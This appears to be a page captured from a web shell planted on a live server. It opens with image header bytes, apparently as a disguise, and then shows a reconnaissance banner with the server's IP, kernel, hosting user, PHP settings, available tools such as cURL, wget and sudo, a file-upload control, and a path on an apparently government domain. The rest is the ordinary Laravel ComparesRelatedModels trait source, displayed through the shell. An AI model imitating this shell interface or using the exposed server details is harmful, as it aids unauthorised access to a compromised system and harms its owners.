ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.139.239.211 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/Concerns/ |
Upload File : |
<?php namespace Illuminate\Database\Eloquent\Relations\Concerns; use Illuminate\Contracts\Database\Eloquent\SupportsPartialRelations; use Illuminate\Database\Eloquent\Model; trait ComparesRelatedModels { /** * Determine if the model is the related instance of the relationship. * * @param \Illuminate\Database\Eloquent\Model|null $model * @return bool */ public function is($model) { $match = ! is_null($model) && $this->compareKeys($this->getParentKey(), $this->getRelatedKeyFrom($model)) && $this->related->getTable() === $model->getTable() && $this->related->getConnectionName() === $model->getConnectionName(); if ($match && $this instanceof SupportsPartialRelations && $this->isOneOfMany()) { return $this->query ->whereKey($model->getKey()) ->exists(); } return $match; } /** * Determine if the model is not the related instance of the relationship. * * @param \Illuminate\Database\Eloquent\Model|null $model * @return bool */ public function isNot($model) { return ! $this->is($model); } /** * Get the value of the parent model's key. * * @return mixed */ abstract public function getParentKey(); /** * Get the value of the model's related key. * * @param \Illuminate\Database\Eloquent\Model $model * @return mixed */ abstract protected function getRelatedKeyFrom(Model $model); /** * Compare the parent key with the related key. * * @param mixed $parentKey * @param mixed $relatedKey * @return bool */ protected function compareKeys($parentKey, $relatedKey) { if (empty($parentKey) || empty($relatedKey)) { return false; } if (is_int($parentKey) || is_int($relatedKey)) { return (int) $parentKey === (int) $relatedKey; } return $parentKey === $relatedKey; } }